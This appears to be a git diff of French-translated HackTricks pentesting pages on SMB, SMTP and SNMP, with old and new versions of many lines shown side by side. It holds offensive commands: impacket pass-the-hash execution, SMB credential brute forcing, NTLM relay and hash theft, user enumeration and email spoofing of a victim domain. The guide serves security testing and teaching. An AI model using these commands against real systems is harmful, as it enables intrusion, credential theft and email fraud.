./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
En utilisant **le paramètre** `-k`, vous pouvez vous authentifier contre **kerberos** au lieu de **NTLM**.
En utilisant **parameter**`-k`, vous pouvez vous authentifier contre **kerberos** au lieu de **NTLM**.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -410,7 +410,7 @@ En utilisant **le paramètre** `-k`, vous pouvez vous authentifier contre **kerb
### [AtExec](../windows-hardening/ntlm/atexec.md)
Exécutez des commandes via le Planificateur de tâches (en utilisant _\pipe\atsvc_ via SMB).\
Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
Dans **kali**, il est situé sur /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -419,14 +419,14 @@ Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce des identifiants des utilisateurs**
## **Bruteforce des identifiants utilisateurs**
**Cela n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximum de tentatives autorisées**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## Attaque de relais SMB
## Attaque par relais SMB
Cette attaque utilise l'outil Responder pour **capturer les sessions d'authentification SMB** sur un réseau interne, et **les relaye** vers une **machine cible**. Si la **session d'authentification est réussie**, elle vous fera automatiquement accéder à un **shell** **système**.\
[**Plus d'informations sur cette attaque ici.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
@ -452,7 +452,7 @@ Qui sont utilisées par certains navigateurs et outils (comme Skype)
## Vol NTLM
Semblable à SMB Trapping, le fait de planter des fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant au hachage NetNTLMv2 d'être intercepté avec un outil tel que Responder. Le hachage peut ensuite être craqué hors ligne ou utilisé dans une [attaque de relais SMB](pentesting-smb.md#smb-relay-attack).
Semblable à SMB Trapping, le fait de planter des fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant au hachage NetNTLMv2 d'être intercepté avec un outil tel que Responder. Le hachage peut ensuite être craqué hors ligne ou utilisé dans une [attaque par relais SMB](pentesting-smb.md#smb-relay-attack).
[Voir : ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -4,7 +4,7 @@
## **Port 139**
Le _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* est un protocole logiciel conçu pour permettre aux applications, PC et bureaux au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et **faciliter la transmission de données à travers le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS se font par leurs noms NetBIOS, qui peuvent avoir jusqu'à 16 caractères de long et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) émet une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant **TCP Port 139**.
Le _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* est un protocole logiciel conçu pour permettre aux applications, PC et bureaux au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et **faciliter la transmission de données à travers le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS sont réalisées par leurs noms NetBIOS, qui peuvent avoir jusqu'à 16 caractères de long et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) émet une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -18,13 +18,13 @@ Par exemple, dans le contexte de Windows, il est souligné que SMB peut fonction
```
### SMB
Le **Server Message Block (SMB)** protocole, fonctionnant dans un modèle **client-serveur**, est conçu pour réguler **l'accès aux fichiers**, répertoires et autres ressources réseau comme les imprimantes et les routeurs. Principalement utilisé au sein de la série de systèmes d'exploitation **Windows**, SMB assure la compatibilité ascendante, permettant aux appareils avec des versions plus récentes du système d'exploitation de Microsoft d'interagir sans problème avec ceux fonctionnant avec des versions plus anciennes. De plus, le projet **Samba** offre une solution logicielle gratuite, permettant l'implémentation de SMB sur des systèmes **Linux** et Unix, facilitant ainsi la communication inter-plateformes via SMB.
Le **Server Message Block (SMB)** protocole, fonctionnant selon un modèle **client-serveur**, est conçu pour réguler **l'accès aux fichiers**, répertoires et autres ressources réseau comme les imprimantes et les routeurs. Principalement utilisé au sein de la série des systèmes d'exploitation **Windows**, SMB garantit la compatibilité ascendante, permettant aux appareils avec des versions plus récentes du système d'exploitation de Microsoft d'interagir sans problème avec ceux fonctionnant sur des versions plus anciennes. De plus, le projet **Samba** offre une solution logicielle gratuite, permettant l'implémentation de SMB sur des systèmes **Linux** et Unix, facilitant ainsi la communication inter-plateformes via SMB.
Les partages, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible pour un client en partie **indépendante** de la structure réelle du serveur. Les **Access Control Lists (ACLs)**, qui définissent les **droits d'accès**, permettent un **contrôle granulaire** sur les permissions des utilisateurs, y compris des attributs comme **`execute`**, **`read`**, et **`full access`**. Ces permissions peuvent être attribuées à des utilisateurs individuels ou à des groupes, en fonction des partages, et sont distinctes des permissions locales définies sur le serveur.
### IPC$ Share
L'accès au partage IPC$ peut être obtenu via une session nulle anonyme, permettant d'interagir avec les services exposés via des pipes nommés. L'utilitaire `enum4linux` est utile à cet effet. Utilisé correctement, il permet d'acquérir :
L'accès au partage IPC$ peut être obtenu via une session nulle anonyme, permettant d'interagir avec des services exposés via des pipes nommés. L'utilitaire `enum4linux` est utile à cet effet. Utilisé correctement, il permet d'acquérir :
- Informations sur le système d'exploitation
- Détails sur le domaine parent
@ -88,8 +88,8 @@ searchsploit microsoft smb
| Administrateur, admin | _(vide)_, mot de passe, administrateur, admin |
| arcserve | arcserve, sauvegarde |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, sauvegarde | backupexec, sauvegarde, arcada |
| test, lab, démo | mot de passe, test, lab, démo |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, démo | mot de passe, test, lab, démo |
### Force Brute
@ -139,7 +139,7 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Ligne unique
Oneliner
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -161,7 +161,7 @@ rpcclient-enumeration.md
`xdg-open smb://cascade.htb/`
#### Dans la fenêtre du navigateur de fichiers (nautilus, thunar, etc)
#### Dans la fenêtre de l'explorateur de fichiers (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
@ -298,9 +298,9 @@ Commandes :
(_Informations provenant de la page de manuel de smbclient_)
### Recherche de Dossiers Partagés de Domaine
### Recherche de dossiers partagés de domaine
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -328,18 +328,18 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
La **configuration par défaut de** un **serveur Samba** se trouve généralement dans `/etc/samba/smb.conf` et peut avoir des **configurations dangereuses** :
| **Paramètre** | **Description** |
| -------------------------- | ------------------------------------------------------------------ |
| `browseable = yes` | Autoriser l'affichage des partages disponibles dans le partage actuel ? |
| `read only = no` | Interdire la création et la modification de fichiers ? |
| `writable = yes` | Autoriser les utilisateurs à créer et modifier des fichiers ? |
| `guest ok = yes` | Autoriser la connexion au service sans utiliser de mot de passe ? |
| `enable privileges = yes` | Respecter les privilèges assignés à un SID spécifique ? |
| `create mask = 0777` | Quels droits doivent être attribués aux fichiers nouvellement créés ? |
| `directory mask = 0777` | Quels droits doivent être attribués aux répertoires nouvellement créés ? |
| `logon script = script.sh` | Quel script doit être exécuté lors de la connexion de l'utilisateur ? |
| `magic script = script.sh` | Quel script doit être exécuté lorsque le script se ferme ? |
| `magic output = script.out`| Où la sortie du script magique doit-elle être stockée ? |
| **Paramètre** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Autoriser l'affichage des partages disponibles dans le partage actuel ? |
| `read only = no` | Interdire la création et la modification de fichiers ? |
| `writable = yes` | Autoriser les utilisateurs à créer et modifier des fichiers ? |
| `guest ok = yes` | Autoriser la connexion au service sans utiliser de mot de passe ? |
| `enable privileges = yes` | Honorer les privilèges attribués à un SID spécifique ? |
| `create mask = 0777` | Quels droits doivent être attribués aux fichiers nouvellement créés ? |
| `directory mask = 0777` | Quels droits doivent être attribués aux répertoires nouvellement créés ? |
| `logon script = script.sh` | Quel script doit être exécuté lors de la connexion de l'utilisateur ? |
| `magic script = script.sh` | Quel script doit être exécuté lorsque le script se ferme ? |
| `magic output = script.out` | Où la sortie du script magique doit-elle être stockée ? |
La commande `smbstatus` donne des informations sur le **serveur** et sur **qui est connecté**.
@ -410,7 +410,7 @@ En utilisant **le paramètre** `-k`, vous pouvez vous authentifier contre **kerb
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Exécutez des commandes via le Planificateur de tâches (en utilisant _\pipe\atsvc_ via SMB).\
Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
Dans **kali**, il est situé sur /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -433,7 +433,7 @@ Cette attaque utilise l'outil Responder pour **capturer les sessions d'authentif
## SMB-Trap
La bibliothèque Windows URLMon.dll essaie automatiquement de s'authentifier auprès de l'hôte lorsqu'une page essaie d'accéder à un contenu via SMB, par exemple : `img src="\\10.10.10.10\path\image.jpg"`
La bibliothèque Windows URLMon.dll essaie automatiquement de s'authentifier auprès de l'hôte lorsqu'une page tente d'accéder à un contenu via SMB, par exemple : `img src="\\10.10.10.10\path\image.jpg"`
Cela se produit avec les fonctions :
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -4,7 +4,7 @@
## **Informations de base**
Le **Simple Mail Transfer Protocol (SMTP)** est un protocole utilisé dans la suite TCP/IP pour l'**envoi et la réception d'e-mails**. En raison de ses limitations dans la mise en file d'attente des messages à l'extrémité du destinataire, SMTP est souvent utilisé avec **POP3 ou IMAP**. Ces protocoles supplémentaires permettent aux utilisateurs de stocker des messages sur une boîte aux lettres de serveur et de les télécharger périodiquement.
Le **Simple Mail Transfer Protocol (SMTP)** est un protocole utilisé dans la suite TCP/IP pour l'**envoi et la réception d'e-mails**. En raison de ses limitations dans la mise en file d'attente des messages à l'extrémité du destinataire, SMTP est souvent utilisé avec **POP3 ou IMAP**. Ces protocoles supplémentaires permettent aux utilisateurs de stocker des messages sur une boîte aux lettres serveur et de les télécharger périodiquement.
Dans la pratique, il est courant que les **programmes de messagerie** utilisent **SMTP pour envoyer des e-mails**, tout en utilisant **POP3 ou IMAP pour les recevoir**. Sur les systèmes basés sur Unix, **sendmail** se distingue comme le serveur SMTP le plus fréquemment utilisé à des fins de messagerie. Le package commercial connu sous le nom de Sendmail comprend un serveur POP3. De plus, **Microsoft Exchange** fournit un serveur SMTP et offre la possibilité d'inclure un support POP3.
@ -31,7 +31,7 @@ Détecter l'**AV** peut vous permettre d'exploiter **des vulnérabilités connue
```bash
nc -vn <IP> 25
```
**SMTPS** :
**SMTPS**:
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
@ -148,11 +148,11 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
## Rapports DSN
## DSN Reports
**Rapports de Notification de Statut de Livraison** : Si vous envoyez un **email** à une organisation à une **adresse invalide**, l'organisation vous informera que l'adresse était invalide en vous renvoyant un **mail**. Les **en-têtes** de l'email retourné **contiendront** des **informations sensibles** possibles (comme l'adresse IP des services de messagerie qui ont interagi avec les rapports ou des informations sur le logiciel antivirus).
## [Commandes](smtp-commands.md)
## [Commands](smtp-commands.md)
### Envoi d'un Email depuis la console linux
```bash
@ -225,9 +225,9 @@ La vulnérabilité SMTP Smuggling permet de contourner toutes les protections SM
smtp-smuggling.md
{{#endref}}
## Contre-mesures contre le spoofing d'email
## Contre-mesures contre le spoofing d'e-mail
Les organisations sont empêchées d'avoir des emails non autorisés envoyés en leur nom en utilisant **SPF**, **DKIM** et **DMARC** en raison de la facilité de spoofing des messages SMTP.
Les organisations sont empêchées d'avoir des e-mails non autorisés envoyés en leur nom en utilisant **SPF**, **DKIM** et **DMARC** en raison de la facilité de spoofing des messages SMTP.
Un **guide complet sur ces contre-mesures** est disponible à [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
@ -237,7 +237,7 @@ Un **guide complet sur ces contre-mesures** est disponible à [https://seanthege
> SPF [a été "déprécié" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Cela signifie qu'au lieu de créer un **enregistrement TXT** dans `_spf.domain.com`, vous le créez dans `domain.com` en utilisant la **même syntaxe**.\
> De plus, pour réutiliser les enregistrements SPF précédents, il est assez courant de trouver quelque chose comme `"v=spf1 include:_spf.google.com ~all"`
**Sender Policy Framework** (SPF) est un mécanisme qui permet aux agents de transfert de mail (MTAs) de vérifier si un hôte envoyant un email est autorisé en interrogeant une liste de serveurs de mail autorisés définis par les organisations. Cette liste, qui spécifie les adresses IP/plages, les domaines et d'autres entités **autorisées à envoyer des emails au nom d'un nom de domaine**, inclut divers "**Mécanismes**" dans l'enregistrement SPF.
**Sender Policy Framework** (SPF) est un mécanisme qui permet aux agents de transfert de courrier (MTA) de vérifier si un hôte envoyant un e-mail est autorisé en interrogeant une liste de serveurs de messagerie autorisés définis par les organisations. Cette liste, qui spécifie les adresses IP/plages, les domaines et d'autres entités **autorisées à envoyer des e-mails au nom d'un nom de domaine**, inclut divers "**Mécanismes**" dans l'enregistrement SPF.
#### Mécanismes
@ -249,14 +249,14 @@ D'après [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
| A | Si le nom de domaine a un enregistrement d'adresse (A ou AAAA) qui peut être résolu à l'adresse de l'expéditeur, il correspondra. |
| IP4 | Si l'expéditeur se trouve dans une plage d'adresses IPv4 donnée, correspondre. |
| IP6 | Si l'expéditeur se trouve dans une plage d'adresses IPv6 donnée, correspondre. |
| MX | Si le nom de domaine a un enregistrement MX résolvant à l'adresse de l'expéditeur, il correspondra (c'est-à-dire que le mail provient de l'un des serveurs de mail entrants du domaine). |
| PTR | Si le nom de domaine (enregistrement PTR) pour l'adresse du client se trouve dans le domaine donné et que ce nom de domaine résout à l'adresse du client (DNS inverse confirmé), correspondre. Ce mécanisme est déconseillé et doit être évité, si possible. |
| MX | Si le nom de domaine a un enregistrement MX résolvant à l'adresse de l'expéditeur, il correspondra (c'est-à-dire que le mail provient de l'un des serveurs de messagerie entrants du domaine). |
| PTR | Si le nom de domaine (enregistrement PTR) pour l'adresse du client se trouve dans le domaine donné et que ce nom de domaine résout à l'adresse du client (DNS inversé confirmé), correspondre. Ce mécanisme est déconseillé et doit être évité, si possible. |
| EXISTS | Si le nom de domaine donné résout à une adresse quelconque, correspondre (peu importe l'adresse à laquelle il résout). Cela est rarement utilisé. Avec le langage macro SPF, il offre des correspondances plus complexes comme les requêtes DNSBL. |
| INCLUDE | Fait référence à la politique d'un autre domaine. Si la politique de ce domaine passe, ce mécanisme passe. Cependant, si la politique incluse échoue, le traitement continue. Pour déléguer complètement à la politique d'un autre domaine, l'extension de redirection doit être utilisée. |
| REDIRECT | <p>Une redirection est un pointeur vers un autre nom de domaine qui héberge une politique SPF, elle permet à plusieurs domaines de partager la même politique SPF. Elle est utile lorsqu'on travaille avec un grand nombre de domaines qui partagent la même infrastructure email.</p><p>La politique SPF du domaine indiqué dans le mécanisme de redirection sera utilisée.</p> |
| REDIRECT | <p>Une redirection est un pointeur vers un autre nom de domaine qui héberge une politique SPF, elle permet à plusieurs domaines de partager la même politique SPF. Elle est utile lorsqu'on travaille avec un grand nombre de domaines qui partagent la même infrastructure de messagerie.</p><p>La politique SPF du domaine indiqué dans le mécanisme de redirection sera utilisée.</p> |
Il est également possible d'identifier des **Qualificateurs** qui indiquent **ce qui doit être fait si un mécanisme est correspondant**. Par défaut, le **qualificateur "+"** est utilisé (donc si un mécanisme est correspondant, cela signifie qu'il est autorisé).\
Vous noterez généralement **à la fin de chaque politique SPF** quelque chose comme : **\~all** ou **-all**. Cela est utilisé pour indiquer que **si l'expéditeur ne correspond à aucune politique SPF, vous devez marquer l'email comme non fiable (\~) ou rejeter (-) l'email.**
Vous noterez généralement **à la fin de chaque politique SPF** quelque chose comme : **\~all** ou **-all**. Cela est utilisé pour indiquer que **si l'expéditeur ne correspond à aucune politique SPF, vous devez marquer l'e-mail comme non fiable (\~) ou rejeter (-) l'e-mail.**
#### Qualificateurs
@ -264,8 +264,8 @@ Chaque mécanisme au sein de la politique peut être précédé de l'un des quat
- **`+`** : Correspond à un résultat PASS. Par défaut, les mécanismes supposent ce qualificateur, rendant `+mx` équivalent à `mx`.
- **`?`** : Représente un résultat NEUTRAL, traité de manière similaire à NONE (aucune politique spécifique).
- **`~`** : Dénote SOFTFAIL, servant de terrain d'entente entre NEUTRAL et FAIL. Les emails correspondant à ce résultat sont généralement acceptés mais marqués en conséquence.
- **`-`** : Indique FAIL, suggérant que l'email doit être rejeté.
- **`~`** : Dénote SOFTFAIL, servant de terrain d'entente entre NEUTRAL et FAIL. Les e-mails correspondant à ce résultat sont généralement acceptés mais marqués en conséquence.
- **`-`** : Indique FAIL, suggérant que l'e-mail doit être rejeté.
Dans l'exemple à venir, la **politique SPF de google.com** est illustrée. Notez l'inclusion des politiques SPF de différents domaines au sein de la première politique SPF :
```shell-session
@ -286,7 +286,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Traditionnellement, il était possible de falsifier n'importe quel nom de domaine qui n'avait pas de bon/enregistrement SPF. **De nos jours**, si **l'email** provient d'un **domaine sans un enregistrement SPF valide**, il sera probablement **rejeté/marqué comme non fiable automatiquement**.
Traditionnellement, il était possible de falsifier n'importe quel nom de domaine qui n'avait pas de bon/enregistrement SPF. **De nos jours**, si **l'email** provient d'un **domaine sans enregistrement SPF valide**, il sera probablement **rejeté/marqué comme non fiable automatiquement**.
Pour vérifier le SPF d'un domaine, vous pouvez utiliser des outils en ligne comme : [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@ -320,18 +320,18 @@ _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-repor
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
#### Tags DMARC
#### DMARC tags
| Nom de tag | But | Exemple |
| ---------- | -------------------------------------------- | -------------------------------- |
| v | Version du protocole | v=DMARC1 |
| pct | Pourcentage de messages soumis à filtrage | pct=20 |
| ruf | URI de rapport pour les rapports d'analyse | ruf=mailto:authfail@example.com |
| rua | URI de rapport des rapports agrégés | rua=mailto:aggrep@example.com |
| p | Politique pour le domaine organisationnel | p=quarantine |
| sp | Politique pour les sous-domaines de l'OD | sp=reject |
| adkim | Mode d'alignement pour DKIM | adkim=s |
| aspf | Mode d'alignement pour SPF | aspf=r |
| Tag Name | Purpose | Sample |
| -------- | --------------------------------------------- | ------------------------------- |
| v | Version du protocole | v=DMARC1 |
| pct | Pourcentage de messages soumis à filtrage | pct=20 |
| ruf | URI de rapport pour les rapports d'analyse | ruf=mailto:authfail@example.com |
| rua | URI de rapport des rapports agrégés | rua=mailto:aggrep@example.com |
| p | Politique pour le domaine organisationnel | p=quarantine |
| sp | Politique pour les sous-domaines de l'OD | sp=reject |
| adkim | Mode d'alignement pour DKIM | adkim=s |
| aspf | Mode d'alignement pour SPF | aspf=r |
### **Qu'en est-il des sous-domaines ?**
@ -349,7 +349,7 @@ Ce qui suit a été initialement publié sur openspf.org, qui était une excelle
Cela a du sens - un sous-domaine peut très bien être dans un emplacement géographique différent et avoir une définition SPF très différente.
### **Relais Ouvert**
### **Open Relay**
Lorsque des e-mails sont envoyés, il est crucial de s'assurer qu'ils ne soient pas signalés comme spam. Cela est souvent réalisé grâce à l'utilisation d'un **serveur de relais de confiance pour le destinataire**. Cependant, un défi courant est que les administrateurs peuvent ne pas être pleinement conscients des **plages IP sûres à autoriser**. Ce manque de compréhension peut entraîner des erreurs dans la configuration du serveur SMTP, un risque fréquemment identifié lors des évaluations de sécurité.
@ -357,7 +357,7 @@ Une solution de contournement que certains administrateurs utilisent pour évite
```bash
mynetworks = 0.0.0.0/0
```
Pour vérifier si un serveur de messagerie est un relais ouvert (ce qui signifie qu'il pourrait transférer des e-mails de toute source externe), l'outil `nmap` est couramment utilisé. Il inclut un script spécifique conçu pour tester cela. La commande pour effectuer un scan détaillé sur un serveur (par exemple, avec l'IP 10.10.10.10) sur le port 25 en utilisant `nmap` est :
Pour vérifier si un serveur de messagerie est un relais ouvert (ce qui signifie qu'il pourrait transférer des e-mails de n'importe quelle source externe), l'outil `nmap` est couramment utilisé. Il inclut un script spécifique conçu pour tester cela. La commande pour effectuer un scan détaillé sur un serveur (par exemple, avec l'IP 10.10.10.10) sur le port 25 en utilisant `nmap` est :
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -366,13 +366,13 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Vérifiez les erreurs de configuration SPF et DMARC**
- [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obtenez automatiquement les configurations SPF et DMARC**
### Envoyer un Email Spoof
### Envoyer un Email Spoofé
- [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
- [**http://www.anonymailer.net/**](http://www.anonymailer.net)
- [**https://emkei.cz/**](https://emkei.cz/)
**Ou vous pourriez utiliser un outil :**
**Ou vous pouvez utiliser un outil :**
- [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
```bash
@ -382,8 +382,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
> [!WARNING]
> Si vous rencontrez une **erreur lors de l'utilisation de la bibliothèque python dkim** pour analyser la clé, n'hésitez pas à utiliser celle-ci.\
> **REMARQUE** : Ceci est juste un correctif temporaire pour effectuer des vérifications rapides dans les cas où, pour une raison quelconque, la clé privée openssl **ne peut pas être analysée par dkim**.
> Si vous obtenez une **erreur en utilisant la bibliothèque python dkim** pour analyser la clé, n'hésitez pas à utiliser celle-ci.\
> **NOTE** : Ceci est juste un correctif temporaire pour effectuer des vérifications rapides dans les cas où, pour une raison quelconque, la clé privée openssl **ne peut pas être analysée par dkim**.
>
> ```
> -----BEGIN RSA PRIVATE KEY-----
@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
Généralement, s'il est installé, dans `/etc/postfix/master.cf` contient **des scripts à exécuter** lorsque, par exemple, un nouvel email est reçu par un utilisateur. Par exemple, la ligne `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` signifie que `/etc/postfix/filtering` sera exécuté si un nouvel email est reçu par l'utilisateur mark.
Généralement, s'il est installé, dans `/etc/postfix/master.cf` contient **des scripts à exécuter** lorsque, par exemple, un nouveau mail est reçu par un utilisateur. Par exemple, la ligne `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` signifie que `/etc/postfix/filtering` sera exécuté si un nouveau mail est reçu par l'utilisateur mark.
Autres fichiers de configuration :
```
@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Informations de base
**SNMP - Simple Network Management Protocol** est un protocole utilisé pour surveiller différents appareils dans le réseau (comme les routeurs, les commutateurs, les imprimantes, les IoT...).
@ -15,14 +14,14 @@ PORT STATE SERVICE REASON VERSION
### MIB
Pour garantir que l'accès SNMP fonctionne entre différents fabricants et avec différentes combinaisons client-serveur, la **Management Information Base (MIB)** a été créée. MIB est un **format indépendant pour stocker les informations sur les dispositifs**. Un MIB est un **fichier texte** dans lequel tous les **objets SNMP** interrogeables d'un dispositif sont listés dans une hiérarchie d'arbre **standardisée**. Il contient au **moins un `Object Identifier` (`OID`)**, qui, en plus de l'**adresse unique** nécessaire et d'un **nom**, fournit également des informations sur le type, les droits d'accès et une description de l'objet respectif.\
Pour garantir que l'accès SNMP fonctionne entre différents fabricants et avec différentes combinaisons client-serveur, la **Management Information Base (MIB)** a été créée. La MIB est un **format indépendant pour stocker les informations sur les appareils**. Un MIB est un fichier **texte** dans lequel tous les **objets SNMP** interrogeables d'un appareil sont listés dans une hiérarchie d'arbre **standardisée**. Il contient au **moins un `Object Identifier` (`OID`)**, qui, en plus de l'**adresse unique** nécessaire et d'un **nom**, fournit également des informations sur le type, les droits d'accès et une description de l'objet respectif.\
Les fichiers MIB sont écrits dans le format texte ASCII basé sur la `Abstract Syntax Notation One` (`ASN.1`). Les **MIB ne contiennent pas de données**, mais elles expliquent **où trouver quelles informations** et à quoi elles ressemblent, quelles valeurs sont retournées pour l'OID spécifique, ou quel type de données est utilisé.
### OIDs
Les **Object Identifiers (OIDs)** jouent un rôle crucial. Ces identifiants uniques sont conçus pour gérer des objets au sein d'une **Management Information Base (MIB)**.
Les niveaux les plus élevés des ID d'objet MIB, ou OIDs, sont attribués à diverses organisations de normalisation. C'est dans ces niveaux supérieurs que le cadre pour les pratiques et normes de gestion mondiales est établi.
Les niveaux les plus élevés des identifiants d'objet MIB, ou OIDs, sont attribués à diverses organisations de normalisation. C'est au sein de ces niveaux supérieurs que le cadre pour les pratiques et normes de gestion mondiales est établi.
De plus, les fournisseurs ont la liberté d'établir des branches privées. Au sein de ces branches, ils ont l'**autonomie d'inclure des objets gérés pertinents à leurs propres gammes de produits**. Ce système garantit qu'il existe une méthode structurée et organisée pour identifier et gérer une large gamme d'objets à travers différents fournisseurs et normes.
@ -40,24 +39,24 @@ Il existe des **OID bien connus** comme ceux à l'intérieur de [1.3.6.1.2.1](ht
Voici une décomposition de cette adresse.
- 1 cela s'appelle l'ISO et cela établit qu'il s'agit d'un OID. C'est pourquoi tous les OID commencent par "1"
- 3 cela s'appelle ORG et il est utilisé pour spécifier l'organisation qui a construit le dispositif.
- 3 cela s'appelle ORG et il est utilisé pour spécifier l'organisation qui a construit l'appareil.
- 6 c'est le dod ou le Département de la Défense qui est l'organisation qui a établi Internet en premier.
- 1 c'est la valeur de l'internet pour indiquer que toutes les communications se feront via Internet.
- 4 cette valeur détermine que ce dispositif est fabriqué par une organisation privée et non par un gouvernement.
- 1 cette valeur indique que le dispositif est fabriqué par une entreprise ou une entité commerciale.
- 4 cette valeur détermine que cet appareil est fabriqué par une organisation privée et non par une organisation gouvernementale.
- 1 cette valeur indique que l'appareil est fabriqué par une entreprise ou une entité commerciale.
Ces six premières valeurs tendent à être les mêmes pour tous les dispositifs et elles vous donnent les informations de base à leur sujet. Cette séquence de nombres sera la même pour tous les OID, sauf lorsque le dispositif est fabriqué par le gouvernement.
